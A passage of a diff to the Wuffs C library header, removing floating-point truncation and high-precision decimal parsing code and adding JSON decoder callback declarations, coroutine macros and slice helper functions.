std::string AppendF64(double val) = 0; ++ virtual std::string AppendI64(int64_t val) = 0; ++ virtual std::string AppendTextString(std::string&& val) = 0; + +- } else if (exp > 0x40E) { // Truncate to the largest finite f16. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | 0x7BFF; +- ret.lossy = true; +- return ret; ++ // Push and Pop are called for container nodes: JSON arrays (lists) and JSON ++ // objects (dictionaries). ++ // ++ // The flags bits combine exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT ++ // and exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT + +- } else if (exp <= 0x3E6) { // Truncate to zero. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg; +- ret.lossy = (u != 0); +- return ret; ++ virtual std::string Push(uint32_t flags) = 0; ++ virtual std::string Pop(uint32_t flags) = 0; + +- } else if (exp <= 0x3F0) { // Normal f64, subnormal f16. +- // Convert from a 53-bit mantissa (after realizing the implicit bit) to a +- // 10-bit mantissa and then adjust for the exponent. +- man |= 0x0010000000000000; +- uint32_t shift = ((uint32_t)(1051 - exp)); // 1051 = 0x3F0 + 53 - 10. +- uint64_t shifted_man = man >> shift; +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | ((uint16_t)shifted_man); +- ret.lossy = (shifted_man << shift) != man; +- return ret; +- } ++ // Done is always the last Callback method called by DecodeJson, whether or ++ // not parsing the input as JSON encountered an error. Even when successful, ++ // trailing data may remain in input and buffer. See "Unintuitive JSON ++ // Parsing" (https://nullprogram.com/blog/2019/12/28/) which discusses JSON ++ // parsing and when it stops. ++ // ++ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, ++ // as DecodeJson may then de-allocate the backing array. ++ // ++ // The default Done implementation is a no-op. ++ virtual void // ++ Done(DecodeJsonResult& result, sync_io::Input& input, IOBuffer& buffer); ++}; + +- // Normal f64, normal f16. ++extern const char DecodeJson_BadJsonPointer[]; ++extern const char DecodeJson_NoMatch[]; + +- // Re-bias from 1023 to 15 and shift above f16's 10 mantissa bits. +- exp = (exp - 1008) << 10; // 1008 = 1023 - 15 = 0x3FF - 0xF. ++// The FooArgBar types add structure to Foo's optional arguments. They wrap ++// inner representations for several reasons: ++// - It provides a home for the DefaultValue static method, for Foo callers ++// that want to override some but not all optional arguments. ++// - It provides the "Bar" name at Foo call sites, which can help self- ++// document Foo calls with many arguemnts. ++// - It provides some type safety against accidentally transposing or omitting ++// adjacent fundamentally-numeric-typed optional arguments. + +- // Convert from a 52-bit mantissa (excluding the implicit bit) to a 10-bit +- // mantissa (again excluding the implicit bit). We lose some information if +- // any of the bottom 42 bits are non-zero. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | ((uint16_t)exp) | ((uint16_t)(man >> 42)); +- ret.lossy = (man << 22) != 0; +- return ret; +-} ++// DecodeJsonArgQuirks wraps an optional argument to DecodeJson. ++struct DecodeJsonArgQuirks { ++ explicit DecodeJsonArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0); + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u32 // +-wuffs_base__ieee_754_bit_representation__from_f64_to_u32_truncate(double f) { +- uint64_t u = 0; +- if (sizeof(uint64_t) == sizeof(double)) { +- memcpy(&u, &f, sizeof(uint64_t)); +- } +- uint32_t neg = ((uint32_t)(u >> 63)) << 31; +- u &= 0x7FFFFFFFFFFFFFFF; +- uint64_t exp = u >> 52; +- uint64_t man = u & 0x000FFFFFFFFFFFFF; ++ // DefaultValue returns an empty slice. ++ static DecodeJsonArgQuirks DefaultValue(); + +- if (exp == 0x7FF) { +- if (man == 0) { // Infinity. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | 0x7F800000; +- ret.lossy = false; +- return ret; +- } +- // NaN. Shift the 52 mantissa bits to 23 mantissa bits, keeping the most +- // significant mantissa bit (quiet vs signaling NaNs). Also set the low 22 +- // bits of ret.value so that the 23-bit mantissa is non-zero. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | 0x7FBFFFFF | ((uint32_t)(man >> 29)); +- ret.lossy = false; +- return ret; ++ const QuirkKeyValuePair* ptr; ++ const size_t len; ++}; + +- } else if (exp > 0x47E) { // Truncate to the largest finite f32. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | 0x7F7FFFFF; +- ret.lossy = true; +- return ret; ++// DecodeJsonArgJsonPointer wraps an optional argument to DecodeJson. ++struct DecodeJsonArgJsonPointer { ++ explicit DecodeJsonArgJsonPointer(std::string repr0); + +- } else if (exp <= 0x369) { // Truncate to zero. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg; +- ret.lossy = (u != 0); +- return ret; ++ // DefaultValue returns an empty string. ++ static DecodeJsonArgJsonPointer DefaultValue(); + +- } else if (exp <= 0x380) { // Normal f64, subnormal f32. +- // Convert from a 53-bit mantissa (after realizing the implicit bit) to a +- // 23-bit mantissa and then adjust for the exponent. +- man |= 0x0010000000000000; +- uint32_t shift = ((uint32_t)(926 - exp)); // 926 = 0x380 + 53 - 23. +- uint64_t shifted_man = man >> shift; +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | ((uint32_t)shifted_man); +- ret.lossy = (shifted_man << shift) != man; +- return ret; +- } ++ std::string repr; ++}; + +- // Normal f64, normal f32. ++// DecodeJson calls callbacks based on the JSON-formatted data in input. ++// ++// On success, the returned error_message is empty and cursor_position counts ++// the number of bytes consumed. On failure, error_message is non-empty and ++// cursor_position is the location of the error. That error may be a content ++// error (invalid JSON) or an input error (e.g. network failure). ++// ++// json_pointer is a query in the JSON Pointer (RFC 6901) syntax. The callbacks ++// run for the input's sub-node that matches the query. DecodeJson_NoMatch is ++// returned if no matching sub-node was found. The empty query matches the ++// input's root node, consistent with JSON Pointer semantics. ++// ++// The JSON Pointer implementation is greedy: duplicate keys are not rejected ++// but only the first match for each '/'-separated fragment is followed. ++DecodeJsonResult // ++DecodeJson(DecodeJsonCallbacks& callbacks, ++ sync_io::Input& input, ++ DecodeJsonArgQuirks quirks = DecodeJsonArgQuirks::DefaultValue(), ++ DecodeJsonArgJsonPointer json_pointer = ++ DecodeJsonArgJsonPointer::DefaultValue()); + +- // Re-bias from 1023 to 127 and shift above f32's 23 mantissa bits. +- exp = (exp - 896) << 23; // 896 = 1023 - 127 = 0x3FF - 0x7F. ++} // namespace wuffs_aux + +- // Convert from a 52-bit mantissa (excluding the implicit bit) to a 23-bit +- // mantissa (again excluding the implicit bit). We lose some information if +- // any of the bottom 29 bits are non-zero. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | ((uint32_t)exp) | ((uint32_t)(man >> 29)); +- ret.lossy = (man << 35) != 0; +- return ret; +-} ++#endif // defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-// -------- ++// ‼ WUFFS C HEADER ENDS HERE. ++#ifdef WUFFS_IMPLEMENTATION + +-#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE 2047 +-#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION 800 ++#ifdef __cplusplus ++extern "C" { ++#endif + +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL is the largest N +-// such that ((10 << N) < (1 << 64)). +-#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL 60 ++// ---------------- Fundamentals + +-// wuffs_base__private_implementation__high_prec_dec (abbreviated as HPD) is a +-// fixed precision floating point decimal number, augmented with ±infinity +-// values, but it cannot represent NaN (Not a Number). ++// WUFFS_BASE__MAGIC is a magic number to check that initializers are called. ++// It's not foolproof, given C doesn't automatically zero memory before use, ++// but it should catch 99.99% of cases. + // +-// "High precision" means that the mantissa holds 800 decimal digits. 800 is +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION. ++// Its (non-zero) value is arbitrary, based on md5sum("wuffs"). ++#define WUFFS_BASE__MAGIC ((uint32_t)0x3CCB6C71) ++ ++// WUFFS_BASE__DISABLED is a magic number to indicate that a non-recoverable ++// error was previously encountered. + // +-// An HPD isn't for general purpose arithmetic, only for conversions to and +-// from IEEE 754 double-precision floating point, where the largest and +-// smallest positive, finite values are approximately 1.8e+308 and 4.9e-324. +-// HPD exponents above +2047 mean infinity, below -2047 mean zero. The ±2047 +-// bounds are further away from zero than ±(324 + 800), where 800 and 2047 is +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION and +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. ++// Its (non-zero) value is arbitrary, based on md5sum("disabled"). ++#define WUFFS_BASE__DISABLED ((uint32_t)0x075AE3D2) ++ ++// Use switch cases for coroutine suspension points, similar to the technique ++// in https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html + // +-// digits[.. num_digits] are the number's digits in big-endian order. The +-// uint8_t values are in the range [0 ..= 9], not ['0' ..= '9'], where e.g. '7' +-// is the ASCII value 0x37. ++// The implicit fallthrough is intentional. + // +-// decimal_point is the index (within digits) of the decimal point. It may be +-// negative or be larger than num_digits, in which case the explicit digits are +-// padded with implicit zeroes. ++// We use trivial macros instead of an explicit assignment and case statement ++// so that clang-format doesn't get confused by the unusual "case"s. ++#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0 case 0:; ++#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT(n) \ ++ coro_susp_point = n; \ ++ case n:; ++ ++#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(n) \ ++ if (!status.repr) { \ ++ goto ok; \ ++ } else if (*status.repr != '$') { \ ++ goto exit; \ ++ } \ ++ coro_susp_point = n; \ ++ goto suspend; \ ++ case n:; ++ ++// The "defined(__clang__)" isn't redundant. While vanilla clang defines ++// __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. ++#if defined(__GNUC__) || defined(__clang__) ++#define WUFFS_BASE__LIKELY(expr) (__builtin_expect(!!(expr), 1)) ++#define WUFFS_BASE__UNLIKELY(expr) (__builtin_expect(!!(expr), 0)) ++#else ++#define WUFFS_BASE__LIKELY(expr) (expr) ++#define WUFFS_BASE__UNLIKELY(expr) (expr) ++#endif ++ ++// -------- ++ ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__ignore_status(wuffs_base__status z) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++static inline wuffs_base__status // ++wuffs_private_impl__status__ensure_not_a_suspension(wuffs_base__status z) { ++ if (z.repr && (*z.repr == '$')) { ++ z.repr = wuffs_base__error__cannot_return_a_suspension; ++ } ++ return z; ++} ++ ++// -------- ++ ++// wuffs_private_impl__iterate_total_advance returns the exclusive ++// pointer-offset at which iteration should stop. The overall slice has length ++// total_len, each iteration's sub-slice has length iter_len and are placed ++// iter_advance apart. + // +-// For example, if num_digits is 3 and digits is "\x07\x08\x09": +-// - A decimal_point of -2 means ".00789" +-// - A decimal_point of -1 means ".0789" +-// - A decimal_point of +0 means ".789" +-// - A decimal_point of +1 means "7.89" +-// - A decimal_point of +2 means "78.9" +-// - A decimal_point of +3 means "789." +-// - A decimal_point of +4 means "7890." +-// - A decimal_point of +5 means "78900." ++// The iter_advance may not be larger than iter_len. The iter_advance may be ++// smaller than iter_len, in which case the sub-slices will overlap. + // +-// As above, a decimal_point higher than +2047 means that the overall value is +-// infinity, lower than -2047 means zero. ++// The return value r satisfies ((0 <= r) && (r <= total_len)). + // +-// negative is a sign bit. An HPD can distinguish positive and negative zero. ++// For example, if total_len = 15, iter_len = 5 and iter_advance = 3, there are ++// four iterations at offsets 0, 3, 6 and 9. This function returns 12. + // +-// truncated is whether there are more than +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION digits, and at +-// least one of those extra digits are non-zero. The existence of long-tail +-// digits can affect rounding. ++// 0123456789012345 ++// [....] ++// [....] ++// [....] ++// [....] ++// $ ++// 0123456789012345 + // +-// The "all fields are zero" value is valid, and represents the number +0. +-typedef struct wuffs_base__private_implementation__high_prec_dec__struct { +- uint32_t num_digits; +- int32_t decimal_point; +- bool negative; +- bool truncated; +- uint8_t digits[WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION]; +-} wuffs_base__private_implementation__high_prec_dec; +- +-// wuffs_base__private_implementation__high_prec_dec__trim trims trailing +-// zeroes from the h->digits[.. h->num_digits] slice. They have no benefit, +-// since we explicitly track h->decimal_point. ++// For example, if total_len = 15, iter_len = 5 and iter_advance = 5, there are ++// three iterations at offsets 0, 5 and 10. This function returns 15. + // +-// Preconditions: +-// - h is non-NULL. +-static inline void // +-wuffs_base__private_implementation__high_prec_dec__trim( +- wuffs_base__private_implementation__high_prec_dec* h) { +- while ((h->num_digits > 0) && (h->digits[h->num_digits - 1] == 0)) { +- h->num_digits--; ++// 0123456789012345 ++// [....] ++// [....] ++// [....] ++// $ ++// 0123456789012345 ++static inline size_t // ++wuffs_private_impl__iterate_total_advance(size_t total_len, ++ size_t iter_len, ++ size_t iter_advance) { ++ if (total_len >= iter_len) { ++ size_t n = total_len - iter_len; ++ return ((n / iter_advance) * iter_advance) + iter_advance; + } ++ return 0; + } + +-// wuffs_base__private_implementation__high_prec_dec__assign sets h to +-// represent the number x. +-// +-// Preconditions: +-// - h is non-NULL. +-static void // +-wuffs_base__private_implementation__high_prec_dec__assign( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint64_t x, +- bool negative) { +- uint32_t n = 0; ++// ---------------- Numeric Types + +- // Set h->digits. +- if (x > 0) { +- // Calculate the digits, working right-to-left. After we determine n (how +- // many digits there are), copy from buf to h->digits. +- // +- // UINT64_MAX, 18446744073709551615, is 20 digits long. It can be faster to +- // copy a constant number of bytes than a variable number (20 instead of +- // n). Make buf large enough (and start writing to it from the middle) so +- // that can we always copy 20 bytes: the slice buf[(20-n) .. (40-n)]. +- uint8_t buf[40] = {0}; +- uint8_t* ptr = &buf[20]; +- do { +- uint64_t remaining = x / 10; +- x -= remaining * 10; +- ptr--; +- *ptr = (uint8_t)x; +- n++; +- x = remaining; +- } while (x > 0); +- memcpy(h->digits, ptr, 20); +- } ++extern const uint8_t wuffs_private_impl__low_bits_mask__u8[8]; ++extern const uint16_t wuffs_private_impl__low_bits_mask__u16[16]; ++extern const uint32_t wuffs_private_impl__low_bits_mask__u32[32]; ++extern const uint64_t wuffs_private_impl__low_bits_mask__u64[64]; + +- // Set h's other fields. +- h->num_digits = n; +- h->decimal_point = (int32_t)n; +- h->negative = negative; +- h->truncated = false; +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U8(n) \ ++ (wuffs_private_impl__low_bits_mask__u8[n]) ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U16(n) \ ++ (wuffs_private_impl__low_bits_mask__u16[n]) ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(n) \ ++ (wuffs_private_impl__low_bits_mask__u32[n]) ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(n) \ ++ (wuffs_private_impl__low_bits_mask__u64[n]) ++ ++// -------- ++ ++static inline void // ++wuffs_private_impl__u8__sat_add_indirect(uint8_t* x, uint8_t y) { ++ *x = wuffs_base__u8__sat_add(*x, y); + } + +-static wuffs_base__status // +-wuffs_base__private_implementation__high_prec_dec__parse( +- wuffs_base__private_implementation__high_prec_dec* h, +- wuffs_base__slice_u8 s, +- uint32_t options) { +- if (!h) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- h->num_digits = 0; +- h->decimal_point = 0; +- h->negative = false; +- h->truncated = false; ++static inline void // ++wuffs_private_impl__u8__sat_sub_indirect(uint8_t* x, uint8_t y) { ++ *x = wuffs_base__u8__sat_sub(*x, y); ++} + +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; ++static inline void // ++wuffs_private_impl__u16__sat_add_indirect(uint16_t* x, uint16_t y) { ++ *x = wuffs_base__u16__sat_add(*x, y); ++} + +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (;; p++) { +- if (p >= q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } else if (*p != '_') { +- break; +- } +- } +- } ++static inline void // ++wuffs_private_impl__u16__sat_sub_indirect(uint16_t* x, uint16_t y) { ++ *x = wuffs_base__u16__sat_sub(*x, y); ++} + +- // Parse sign. +- do { +- if (*p == '+') { +- p++; +- } else if (*p == '-') { +- h->negative = true; +- p++; +- } else { +- break; +- } +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (;; p++) { +- if (p >= q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } else if (*p != '_') { +- break; +- } +- } +- } +- } while (0); ++static inline void // ++wuffs_private_impl__u32__sat_add_indirect(uint32_t* x, uint32_t y) { ++ *x = wuffs_base__u32__sat_add(*x, y); ++} + +- // Parse digits, up to (and including) a '.', 'E' or 'e'. Examples for each +- // limb in this if-else chain: +- // - "0.789" +- // - "1002.789" +- // - ".789" +- // - Other (invalid input). +- uint32_t nd = 0; +- int32_t dp = 0; +- bool no_digits_before_separator = false; +- if (('0' == *p) && +- !(options & +- WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES)) { +- p++; +- for (;; p++) { +- if (p >= q) { +- goto after_all; +- } else if (*p == +- ((options & +- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- goto after_sep; +- } else if ((*p == 'E') || (*p == 'e')) { +- p++; +- goto after_exp; +- } else if ((*p != '_') || +- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++static inline void // ++wuffs_private_impl__u32__sat_sub_indirect(uint32_t* x, uint32_t y) { ++ *x = wuffs_base__u32__sat_sub(*x, y); ++} + +- } else if (('0' <= *p) && (*p <= '9')) { +- if (*p == '0') { +- for (; (p < q) && (*p == '0'); p++) { +- } +- } else { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- dp = (int32_t)nd; +- p++; +- } ++static inline void // ++wuffs_private_impl__u64__sat_add_indirect(uint64_t* x, uint64_t y) { ++ *x = wuffs_base__u64__sat_add(*x, y); ++} + +- for (;; p++) { +- if (p >= q) { +- goto after_all; +- } else if (('0' <= *p) && (*p <= '9')) { +- if (nd < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- dp = (int32_t)nd; +- } else if ('0' != *p) { +- // Long-tail non-zeroes set the truncated bit. +- h->truncated = true; +- } +- } else if (*p == +- ((options & +- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- goto after_sep; +- } else if ((*p == 'E') || (*p == 'e')) { +- p++; +- goto after_exp; +- } else if ((*p != '_') || +- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++static inline void // ++wuffs_private_impl__u64__sat_sub_indirect(uint64_t* x, uint64_t y) { ++ *x = wuffs_base__u64__sat_sub(*x, y); ++} + +- } else if (*p == ((options & +- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- no_digits_before_separator = true; ++// ---------------- Numeric Types (Utility) + +- } else { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } ++#define wuffs_base__utility__sign_extend_convert_u8_u32(a) \ ++ ((uint32_t)(int32_t)(int8_t)(a)) + +-after_sep: +- for (;; p++) { +- if (p >= q) { +- goto after_all; +- } else if ('0' == *p) { +- if (nd == 0) { +- // Track leading zeroes implicitly. +- dp--; +- } else if (nd < +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- } +- } else if (('0' < *p) && (*p <= '9')) { +- if (nd < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- } else { +- // Long-tail non-zeroes set the truncated bit. +- h->truncated = true; +- } +- } else if ((*p == 'E') || (*p == 'e')) { +- p++; +- goto after_exp; +- } else if ((*p != '_') || +- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++#define wuffs_base__utility__sign_extend_convert_u16_u32(a) \ ++ ((uint32_t)(int32_t)(int16_t)(a)) + +-after_exp: +- do { +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (;; p++) { +- if (p >= q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } else if (*p != '_') { +- break; +- } +- } +- } ++#define wuffs_base__utility__sign_extend_rshift_u32(a, n) \ ++ ((uint32_t)(((int32_t)(a)) >> (n))) + +- int32_t exp_sign = +1; +- if (*p == '+') { +- p++; +- } else if (*p == '-') { +- exp_sign = -1; +- p++; +- } ++#define wuffs_base__utility__sign_extend_rshift_u64(a, n) \ ++ ((uint64_t)(((int64_t)(a)) >> (n))) + +- int32_t exp = 0; +- const int32_t exp_large = +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE + +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION; +- bool saw_exp_digits = false; +- for (; p < q; p++) { +- if ((*p == '_') && +- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- // No-op. +- } else if (('0' <= *p) && (*p <= '9')) { +- saw_exp_digits = true; +- if (exp < exp_large) { +- exp = (10 * exp) + ((int32_t)(*p - '0')); +- } +- } else { +- break; +- } +- } +- if (!saw_exp_digits) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- dp += exp_sign * exp; +- } while (0); ++#define wuffs_base__utility__make_bitvec256(e00, e01, e02, e03) \ ++ wuffs_base__make_bitvec256(e00, e01, e02, e03) + +-after_all: +- if (p != q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- h->num_digits = nd; +- if (nd == 0) { +- if (no_digits_before_separator) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- h->decimal_point = 0; +- } else if (dp < +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- h->decimal_point = +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE - 1; +- } else if (dp > +- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- h->decimal_point = +- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE + 1; +- } else { +- h->decimal_point = dp; +- } +- wuffs_base__private_implementation__high_prec_dec__trim(h); +- return wuffs_base__make_status(NULL); +-} ++#define wuffs_base__utility__make_optional_u63(h, v) \ ++ wuffs_base__make_optional_u63(h, v) + +-// -------- ++// ---------------- Slices and Tables + +-// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits +-// returns the number of additional decimal digits when left-shifting by shift. ++// This function basically returns (ptr + len), except that that expression is ++// Undefined Behavior in C (but not C++) when ptr is NULL, even if len is zero. + // +-// See below for preconditions. +-static uint32_t // +-wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t shift) { +- // Masking with 0x3F should be unnecessary (assuming the preconditions) but +- // it's cheap and ensures that we don't overflow the +- // wuffs_base__private_implementation__hpd_left_shift array. +- shift &= 63; ++// Precondition: (ptr != NULL) || (len == 0). ++static inline const uint8_t* // ++wuffs_private_impl__ptr_u8_plus_len(const uint8_t* ptr, size_t len) { ++ return ptr ? (ptr + len) : NULL; ++} + +- uint32_t x_a = wuffs_base__private_implementation__hpd_left_shift[shift]; +- uint32_t x_b = wuffs_base__private_implementation__hpd_left_shift[shift + 1]; +- uint32_t num_new_digits = x_a >> 11; +- uint32_t pow5_a = 0x7FF & x_a; +- uint32_t pow5_b = 0x7FF & x_b; ++// -------- + +- const uint8_t* pow5 = +- &wuffs_base__private_implementation__powers_of_5[pow5_a]; +- uint32_t i = 0; +- uint32_t n = pow5_b - pow5_a; +- for (; i < n; i++) { +- if (i >= h->num_digits) { +- return num_new_digits - 1; +- } else if (h->digits[i] == pow5[i]) { +- continue; +- } else if (h->digits[i] < pow5[i]) { +- return num_new_digits - 1; +- } else { +- return num_new_digits; +- } ++// wuffs_private_impl__slice_u8__prefix returns up to the first up_to bytes of ++// s. ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__slice_u8__prefix(wuffs_base__slice_u8 s, uint64_t up_to) { ++ if (((uint64_t)(s.len)) > up_to) { ++ s.len = ((size_t)up_to); + } +- return num_new_digits; ++ return s; + } + +-// -------- ++// wuffs_private_impl__slice_u8__suffix returns up to the last up_to bytes of ++// s. ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__slice_u8__suffix(wuffs_base__slice_u8 s, uint64_t up_to) { ++ if (((uint64_t)(s.len)) > up_to) { ++ s.ptr += ((uint64_t)(s.len)) - up_to; ++ s.len = ((size_t)up_to); ++ } ++ return s; ++} + +-// wuffs_base__private_implementation__high_prec_dec__rounded_integer returns +-// the integral (non-fractional) part of h, provided that it is 18 or fewer +-// decimal digits. For 19 or more digits, it returns UINT64_MAX. Note that: +-// - (1 << 53) is 9007199254740992, which has 16 decimal digits. +-// - (1 << 56) is 72057594037927936, which has 17 decimal digits. +-// - (1 << 59) is 576460752303423488, which has 18 decimal digits. +-// - (1 << 63) is 9223372036854775808, which has 19 decimal digits. +-// and that IEEE 754 double precision has 52 mantissa bits. ++// wuffs_private_impl__slice_u8__copy_from_slice calls memmove(dst.ptr, ++// src.ptr, len) where len is the minimum of dst.len and src.len. + // +-// That integral part is rounded-to-even: rounding 7.5 or 8.5 both give 8. +-// +-// h's negative bit is ignored: rounding -8.6 returns 9. +-// +-// See below for preconditions. +-static uint64_t // +-wuffs_base__private_implementation__high_prec_dec__rounded_integer( +- wuffs_base__private_implementation__high_prec_dec* h) { +- if ((h->num_digits == 0) || (h->decimal_point < 0)) { +- return 0; +- } else if (h->decimal_point > 18) { +- return UINT64_MAX; ++// Passing a wuffs_base__slice_u8 with all fields NULL or zero (a valid, empty ++// slice) is valid and results in a no-op. ++static inline uint64_t // ++wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src) { ++ size_t len = dst.len < src.len ? dst.len : src.len; ++ if (len > 0) { ++ memmove(dst.ptr, src.ptr, len); + } ++ return len; ++} + +- uint32_t dp = (uint32_t)(h->decimal_point); +- uint64_t n = 0; +- uint32_t i = 0; +- for (; i < dp; i++) { +- n = (10 * n) + ((i < h->num_digits) ? h->digits[i] : 0); ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__bulk_load_host_endian(void* ptr, ++ size_t len, ++ wuffs_base__slice_u8 src) { ++ if (len && (len <= src.len)) { ++ memmove(ptr, src.ptr, len); + } ++ return wuffs_base__make_empty_struct(); ++} + +- bool round_up = false; +- if (dp < h->num_digits) { +- round_up = h->digits[dp] >= 5; +- if ((h->digits[dp] == 5) && (dp + 1 == h->num_digits)) { +- // We are exactly halfway. If we're truncated, round up, otherwise round +- // to even. +- round_up = h->truncated || // +- ((dp > 0) && (1 & h->digits[dp - 1])); +- } +- } +- if (round_up) { +- n++; ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__bulk_memset(void* ptr, size_t len, uint8_t byte_value) { ++ if (len) { ++ memset(ptr, byte_value, len); + } ++ return wuffs_base__make_empty_struct(); ++} + +- return n; ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__bulk_save_host_endian(void* ptr, ++ size_t len, ++ wuffs_base__slice_u8 dst) { ++ if (len && (len <= dst.len)) { ++ memmove(dst.ptr, ptr, len); ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// wuffs_base__private_implementation__high_prec_dec__small_xshift shifts h's +-// number (where 'x' is 'l' or 'r' for left or right) by a small shift value. +-// +-// Preconditions: +-// - h is non-NULL. +-// - h->decimal_point is "not extreme". +-// - shift is non-zero. +-// - shift is "a small shift". +-// +-// "Not extreme" means within +-// ±WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. +-// +-// "A small shift" means not more than +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. +-// +-// wuffs_base__private_implementation__high_prec_dec__rounded_integer and +-// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits +-// have the same preconditions. +-// +-// wuffs_base__private_implementation__high_prec_dec__lshift keeps the first +-// two preconditions but not the last two. Its shift argument is signed and +-// does not need to be "small": zero is a no-op, positive means left shift and +-// negative means right shift. ++// -------- + +-static void // 